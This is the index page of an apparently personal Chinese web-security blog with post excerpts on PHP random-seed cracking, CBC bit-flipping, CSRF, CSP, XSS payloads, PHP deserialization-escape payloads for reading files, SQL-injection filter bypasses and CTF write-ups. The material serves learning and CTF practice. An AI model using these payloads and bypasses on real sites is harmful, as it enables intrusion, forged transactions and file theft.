NonupleBroken

Rudeboy bass, mash up da place!


  • Home

  • Tags

  • Categories

  • Archives

  • Search

PHP中的随机数

Posted on 2019-08-03 | In WEB | Visitors:

php中常用的随机数产生函数是rand()和mt_rand()。但是生成的是伪随机数,不能应用于生成安全令牌、核心加解密key等。否则会产生一些安全问题。

何时自动播种

都知道,同一个种子产生的随机序列完全相同,因此种子在随机数中起着至关重要的地位。

自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 给随机数发生器播种 ,因为现在是由系统自动完成的。

那么问题是,php中何时会自动播种呢?如果每次调用随机数都会自动播种那么破解出种子也没有意义。

查看源码发现,每次调用mt_rand()都会先检查是否已经播种。如果已经播种就直接产生随机数,否则系统进行自动播种。也就是说每个php进程期间,只有第一次调用mt_rand()会自动播种。接下来都会根据这个第一次播种的种子来生成随机数。

那么接下来进行测试。

首先是在本地命令行:

1
$ php -r "echo mt_rand().' '.mt_rand().' '.mt_rand().' '.mt_rand();"

生成了4个随机数:272444184 1241931419 1575764393 1197993479。
那么接下来用 php_mt_seed 工具来爆破种子,此工具可以根据第一个生成的随机数来猜测可能的种子,其实就是枚举测试了。

1
$ ./php_mt_seed 272444184

一共找到了10个种子,选择自己的php版本,挨个手动播种进行测试:

1
$ php -r "mt_srand(2294193663); echo mt_rand().' '.mt_rand().' '.mt_rand().' '.mt_rand();"

发现2294193663这个种子结果完全一致。

这种方式每个进程期间共用一个种子,每个php命令行都是一个进程。如果再重复生成随机数的过程,由于不是同一个进程种子当然不一样。

那么web服务器中的php呢?由于php的运行模式、web服务器种类(apache、nginx)等不同,有可能每个进程只处理一个请求,也有可能一个进程处理多个请求之后才会被回收,当然超时也会被回收。这块查了一些资料,网上说的也不是很清楚,具体的还不是很明白。

Read more »

CBC字节翻转攻击

Posted on 2019-08-02 | In Crypto | Visitors:

CBC

密码分组链接(Cipher Block Chaining,CBC),是分组密码的工作模式之一。加解密原理如下图:

每个分组长度为 16 字节或 32 字节。CBC的填充规则是缺少 N 位,就用 N 个 \xN 填充,如缺少 11 位则用 11 个 \x0b 填充。

其中 $IV$ 为随机的初始向量,若第一个块的下标为1,则加密过程为:

Read more »

CSRF小结

Posted on 2019-07-21 | In WEB | Visitors:

CSRF

跨站请求伪造(Cross-Site Request Forgery,CSRF),攻击者通过伪装来自某个网站受信任用户,对该网站发送恶意请求。

XSS与CSRF的区别:

  • XSS:
    攻击者发现XSS漏洞 —> 构造代码 —> 发送给受害人 —> 受害人打开 —> 攻击者获取受害人的cookie —> 完成攻击
  • CSRF:
    攻击者发现CSRF漏洞 —> 构造代码 —> 发送给受害人 —> 受害人打开 —> 受害人执行代码 —> 完成攻击

可以发现,与XSS相比,CSRF在受害人执行代码后攻击就已完成。

举个例子

GET请求

假设某银行网站xbank的转账是采用GET方式进行操作的,如:

1
http://www.xbank.com/transfer.php?toUserId=88&Money=1000

给ID为88的账户转账1000元。

攻击者构造了一个恶意页面,如:

1
<img src="http://www.xbank.com/transfer.php?toUserId=88&Money=1000">

受害者打开了这个界面,浏览器访问图片的url,会携带xbank的cookie,如果该受害者的浏览器中xbank的Cookie或Session还没有过期,xbank就会认为是受害者主动发送的请求,那么就成功转账了。

POST请求

xbank改为了用POST提交表单进行转账操作:

1
2
3
4
5
<form action="./transfer.php" method="POST">
<p>ToUserId <input type="text" name="ToUserId"></p>
<p>Money <input type="text" name="Money"></p>
<p><input type="submit" name="Submit"></p>
</form>

恶意攻击者根据转账表单进行伪造了一份一模一样的转账表单,并且嵌入到iframe中:

Read more »

浅谈CSP内容安全策略

Posted on 2019-07-20 | In WEB | Visitors:

CSP

内容安全策略(Content Security Policy,CSP),是一个附加的安全层,有助于检测并缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入攻击。

CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成。

两种方法可以启用 CSP。一种是通过 HTTP 头信息的Content-Security-Policy的字段。

1
Content-Security-Policy: default-src 'self'; script-src 'self' www.test.com;

另一种是通过<meta>标签。

1
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self';">

CSP 提供了很多限制选项:

限制选项 说明
default-src 资源默认加载策略
script-src 外部脚本
connect-src HTTP连接,如 XHR、WebSockets、EventSource等
style-src 样式表 CSS
img-src 图片
media-src 媒体,如 audio、video
font-src 字体
frame-src 嵌入的外部资源,如 frame、iframe、embed、applet

每个限制选项可以设置以下几种值,这些值就构成了白名单:

值 说明
主机名 https://example.com:80 http://\*.test.com
协议名 https: data:
‘self’ 允许加载同域资源,需要加引号
‘none’ 禁止加载任何外部资源,需要加引号
* 通配符,允许除 data: blob: filesystem: 协议之外的任意 URL

除了常规值,script-src还可以设置一些特殊值:

Read more »

浅谈SOP同源策略

Posted on 2019-07-13 | In WEB | Visitors:

web安全的基石就是同源政策。

何为同源

几个页面的协议、主机名、端口相同,那么就认为这些页面是同源的。
如与 http://book.nonuplebroken.com:80/index.php 比较:

Read more »

XSS小结

Posted on 2019-07-06 | In WEB | Visitors:

XSS

跨站脚本攻击(Cross-Site Scripting,XSS),本质上是HTML注入,控制对方的浏览器,用其HTML、JS做你想做的事。

按照流行的分类,XSS分为三类:

  • 存储型
    持久性的,会把用户输入的数据存储到数据库中。危害很大。

  • 反射型
    非持久性的,输入经过后端代码处理。

  • DOM型
    非持久性的,输入没有经过后端代码处理,改变了DOM树结构。

一些可执行JS的例子

  • <script>alert(1)</script>
  • <input onclick="alert(1)">
  • <input onfocusin="alert(1)" autofocus="">
  • <a href="javascript:alert(1)">xss</a>
  • <img src=1 OnError=alert(1)>
  • <details open ontoggle=alert(1)>
  • <svg onload=alert(1)></svg>
  • <iframe src=javascript:alert(1)></iframe>
  • <form action=“javascript:alert(1)>
  • <link rel=import href="data:text/html,<script>alert(1)</script>">
  • <link rel=import href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
Read more »

反序列化逃逸

Posted on 2019-06-02 | In WEB | Visitors:

反序列化逃逸

都知道,php 反序列化时,后面的多余的数据会被直接丢弃。

过滤序列化后的字符串时,通过构造的数据会造成反序列化逃逸。

有以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

if ($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION["phone"] = '12345678901';

extract($_POST);

$_SESSION['img'] = base64_encode('guest_img.png');

$serialize_info = filter(serialize($_SESSION));
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));

最终的目的就是控制 img 参数,以达成任意读取文件的目的,可是在 extract POST 的数据后又对img 进行了赋值。注意到 filter 函数对序列化后的数据进行过滤,因此可以进行逃逸。

可以构造以下的 SESSION:

1
2
3
4
5
6
$_POST = array(
$_SESSION = array (
'a' => 'phpphpphpphpphp',
'b' => ';s:1:"b";s:4:"test";s:3:"img";s:8:"L2ZsYWc=";}'
)
);

序列化后过滤前后数据如下:

1
2
3
a:3:{s:1:"a";s:15:"phpphpphpphpphp";s:1:"b";s:46:";s:1:"b";s:4:"test";s:3:"img";s:8:"L2ZsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

a:3:{s:1:"a";s:15:"";s:1:"b";s:46:";s:1:"b";s:4:"test";s:3:"img";s:8:"L2ZsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

过滤后,SESSION 数据如下:

1
2
3
4
5
6
Array
(
[a] => ";s:1:"b";s:46:
[b] => test
[img] => L2ZsYWc=
)

这样就成功逃逸。

也可以构造一个数组:

1
2
3
4
5
6
7
8
$_POST = array(
$_SESSION = array (
'nonup' => array (
1 => 'phpphpphpphp',
2 => ';i:2;s:60:"111111111111111111111111111111111111111111111111111111111111";}s:3:"img";s:8:"L2ZsYWc=";}'
)
)
);

序列化后过滤前后数据如下:

1
2
3
a:2:{s:5:"nonup";a:2:{i:1;s:12:"phpphpphpphp";i:2;s:100:";i:2;s:60:"111111111111111111111111111111111111111111111111111111111111";}s:3:"img";s:8:"L2ZsYWc=";}";}s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

a:2:{s:5:"nonup";a:2:{i:1;s:12:"";i:2;s:100:";i:2;s:60:"111111111111111111111111111111111111111111111111111111111111";}s:3:"img";s:8:"L2ZsYWc=";}";}s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

过滤后,SESSION 数据如下:

1
2
3
4
5
6
7
8
9
10
Array
(
[nonup] => Array
(
[1] => ";i:2;s:100:
[2] => 111111111111111111111111111111111111111111111111111111111111
)

[img] => L2ZsYWc=
)

也可以成功逃逸。

如果过滤后字符反而变多了,也可以逃逸。假如 filter 函数变成了这样:

1
2
3
4
5
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter, 'hack', $img);
}

分析一下就会发现,我们只要追加:";s:3:"img";s:8:"L2ZsYWc=";} 就好。它的长度是 28,每次过滤都会多一个字符,因此只需要添加 28 个 php 即可。

1
2
3
4
5
$_POST = array(
$_SESSION = array (
'nonup' => 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:3:"img";s:8:"L2ZsYWc=";}'
)
);

序列化后过滤前后数据如下:

1
2
3
a:2:{s:5:"nonup";s:112:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:3:"img";s:8:"L2ZsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

a:2:{s:5:"nonup";s:112:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:3:"img";s:8:"L2ZsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

过滤后,SESSION 数据如下:

1
2
3
4
5
Array
(
[nonup] => hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack
[img] => L2ZsYWc=
)

也可以成功逃逸。

例题

  • 0ctf2016

JarvisOJ WEB WP

Posted on 2019-05-11 | In WEB | Visitors:

初学WEB,一切都是新鲜的。JarvisOJ平台上的题还不错,适合练练手。

PORT51

http://web.jarvisoj.com:32770/
打开页面提示:Please use port 51 to visit this site.
直接curl:

1
$ curl --local-port 51 http://web.jarvisoj.com:32770/

得到flag:PCTF{M45t3r_oF_CuRl}

LOCALHOST

http://web.jarvisoj.com:32774/
打开页面提示:localhost access only!!
想到X-Forwarded-For。
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
因此在请求头中构造:X-Forwarded-For: 127.0.0.1
得到flag:PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}

Login

http://web.jarvisoj.com:32772/

1
需要密码才能获得flag哦。

在响应头中发现提示:

1
Hint: "select * from `admin` where password='".md5($pass,true)."'"

在php中,md5函数原型为:

1
md5 ( string $str [, bool $raw_output = FALSE ] ) : string

如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
测试如下:

1
2
3
4
5
6
7
8
$s = '123456';
echo md5($s, false);
echo md5($s, true);
$string = md5($s, true);
for ($i=0; $i<strlen($string); $i++) {
echo dechex(ord($string[$i]));
echo '-';
}

1
2
3
e10adc3949ba59abbe56e057f20f883e
9I Y V W >
e1-a-dc-39-49-ba-59-ab-be-56-e0-57-f2-f-88-3e-

所以现在如果能有一个字符串,它md5加密后的原始字节流可以有类似'or'1这样的语句就好了。根据前人的总结,ffifdyop md5机密后为276f722736c95d99e921722cf9ed621c,原始字节流为'or'6<乱码>。这样就可以实现sql注入了。
得到flag:PCTF{R4w_md5_is_d4ng3rous}

Read more »

SQL注入小结

Posted on 2019-04-29 | In WEB | Visitors:

SQL 注入是 WEB 安全的头号大敌。

基本知识

一个 MYSQL 注入的基本知识网址:
https://websec.ca/kb/sql_injection#MySQL_Default_Databases

字符串拼接

以下均等价于 username='admin':
username='ad' 'm' 'in'
username=0x61646D696E
username=char(97,100,109,105,110)
username=concat('a','dm','in')
username=concat_ws('','adm','i','n')
username=group_concat('ad','mi','n')

  • concat() 函数用于将多个字符串连接成一个字符串。如有任何一个参数为 NULL,则返回值为 NULL。
  • concat_ws() 函数代表 Concat With Separator,是 concat() 的特殊形式。第一个参数是分隔符,如果分隔符为 NULL,则结果为 NULL。函数会忽略其他参数中的 NULL ,但不会忽略空字符串。
  • group_concat() 函数可以得到表达式结合体的连结值。例如 users 表下的 ID 字段有 0、1、2、3 、3 五个值,那么执行:select group_concat(distinct ID order by ID desc separator '_') from users; 会得到:3_2_1_0。

绕过

符号都可以尝试 URL 编码绕过。

空格

  • 块注释 /**/
  • 子句隔着符号,可以省去空格。select'1' 、or'1'='1' 都是合法的。
  • 善用括号。select、 from、union 等需要子句的语句都可以将子句括起来从而省去括号。

单引号 ‘

  • 假如编码为 GBK,尝试宽字节注入:%bf%27、%df%27、%aa%27。

逗号 ,

  • substr(‘123’,1,1) 与 mid(‘456’,1,1) 可换为 substr(‘123’ from 1 for 1) 与 mid('456' from 1 for 1)。
  • select * from users limit 2,1 等价于 select * from users limit 1 offset 2。
  • select 1,2 等价于select * from(select 1)a join(select 2)b。

等号 =

  • 不等号 <>
  • in
  • like、rlike、regexp

比较符 < >

  • greatest()、least() 返回最大、最小的数。

关键字

  • and && or ||
  • 双写关键字
  • 尝试关键字中嵌套可能被转义为空的字符
Read more »

DDCTF2019-WEB签到题

Posted on 2019-04-16 | In WEB | Visitors:

开始搞 WEB 不久,最近做了 DDCTF2019 的 WEB 签到题,虽说是签到题,但对我这种初学 WEB 的来说其实不是很简单,学到了不少。在此做一些记录。

index.php

url:http://117.51.158.44/index.php
进去之后提示 ”抱歉,您没有登陆权限,请获取权限后访问——-“,查看 index.php 源代码发现

1
2
3
<body onload="auth()">
<div class='center' id="auth">
</div>

看到执行了 js 的 auth() 函数,查看 index.js 的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}

发现函数使用了 ajax,并且向 app/Auth.php POST 一个 json,如果成功,则接收数据并改变 index.php 中 id 为 auth 的 div 的值。
了解了这里的原理,还发现 beforeSend 会设置请求头 didictf_username,但是这里值为空。
尝试直接请求 app/Auth.php 并且设置头部为 didictf_username:admin。结果返回了如下 json:
{"errMsg":"success","data":"您当前当前权限为管理员----请访问:app\\/fL2XID2i0Cdh.php"}

Read more »

123
NonupleBroken

NonupleBroken

花自飘零水自流

25 posts
8 categories
35 tags
GitHub E-Mail
0%
© 2018 — 2019 NonupleBroken